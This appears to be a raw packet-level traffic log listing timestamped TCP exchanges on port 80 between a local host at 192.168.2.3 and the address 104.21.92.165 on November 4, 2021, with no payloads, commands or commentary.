Nov 4, 2021 13:12:39.046996117 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047015905 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047019005 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047036886 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047039986 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047055960 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047071934 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047075987 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047091961 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047111034 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047111988 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047132969 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047149897 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047154903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047174931 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047195911 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047208071 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047215939 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047235012 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047235966 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047255993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047262907 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047276020 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047296047 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047310114 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047316074 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047338009 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047358990 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047374964 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047379017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047399044 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047414064 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047420025 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047435999 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047440052 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047460079 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047480106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047481060 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047502041 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047514915 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047522068 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047586918 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047602892 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047619104 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047633886 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047640085 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.047650099 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.047682047 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.061738968 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.061789989 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.061882019 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.062881947 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.062975883 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.062994003 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.063038111 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.063097000 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.063134909 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.063153028 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.063191891 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.063200951 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.063241005 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.063319921 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064524889 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064549923 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064573050 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064608097 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064618111 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064641953 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064663887 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064663887 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064686060 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064707994 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064724922 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064729929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064750910 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064757109 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064774036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064790010 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064794064 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064811945 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064832926 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064835072 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064868927 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064887047 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064894915 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064918995 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064940929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064943075 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064964056 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.064976931 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.064985991 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065006971 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065027952 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065028906 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065052032 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065069914 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065073013 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065095901 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065114021 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065130949 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065151930 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065172911 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065174103 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065196037 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065217972 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065236092 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065239906 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065262079 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065279007 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065284014 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065305948 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065314054 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065327883 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065342903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.065349102 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.065386057 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.079380989 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079406977 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079422951 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079438925 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079451084 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079467058 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079482079 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.079483986 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079499960 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.079516888 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.079550028 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080018997 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080037117 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080060959 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080089092 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080099106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080105066 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080121040 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080137014 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080147028 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080154896 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080178976 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080182076 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080190897 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080207109 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080223083 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080240011 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080255032 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080265045 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080271959 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080287933 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080292940 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080303907 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080307961 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080316067 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080332041 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080346107 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080348969 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080364943 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080379963 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080380917 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080405951 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080413103 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080427885 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080444098 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080461979 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080470085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080487013 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080488920 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080503941 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080521107 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080523968 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080537081 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080557108 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080574036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080607891 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080610991 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080616951 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080630064 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080647945 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080666065 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080676079 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080691099 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080698013 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080708027 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080723047 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080743074 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080751896 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080780029 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080782890 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080816031 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080837011 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080883980 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080899954 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080902100 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080925941 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080929995 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080940962 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.080945969 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080965042 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080980062 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.080996990 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081007004 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081023932 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081028938 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081058979 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081074953 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081090927 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081099033 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081108093 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081124067 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081140995 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081140995 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081146955 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081159115 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081186056 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081192017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081207991 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081223965 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081233025 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081240892 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081263065 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081268072 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081284046 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081300020 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081327915 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081331015 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081347942 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081352949 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081367016 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081388950 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081408978 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081412077 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081432104 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081435919 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081453085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081470013 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081479073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081516027 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081521988 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081537008 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081558943 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081579924 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081582069 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081605911 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081626892 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081646919 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081648111 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081667900 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081677914 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081692934 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081717968 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081722021 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081743002 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081762075 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081813097 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081831932 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081834078 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081852913 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081873894 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081875086 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081895113 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081916094 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081918001 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.081954956 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081979036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.081999063 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082001925 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082025051 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082029104 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082048893 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082068920 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082072020 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082098961 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082110882 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082120895 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082524061 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082540989 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082825899 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082854986 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082879066 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082901955 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082902908 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082923889 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082946062 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.082947016 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082972050 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.082992077 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.083081007 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.083398104 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.083679914 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084335089 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084355116 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084372997 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084388971 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084405899 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084420919 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084438086 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084451914 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084470034 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084472895 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084491968 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084507942 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084512949 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084525108 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084541082 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084546089 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084558964 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084574938 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084600925 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084606886 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084621906 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084629059 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084650040 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084660053 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084667921 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084681988 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084698915 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084706068 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084714890 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084726095 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084738016 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084753036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084760904 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084769011 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084781885 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084799051 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084811926 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084815979 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084831953 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084855080 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084860086 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084881067 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084901094 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084908962 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084923983 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084924936 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084942102 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.084974051 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.084990978 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.085007906 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.085022926 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.085026026 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.085042000 CET	80	49754	104.21.92.165	192.168.2.3
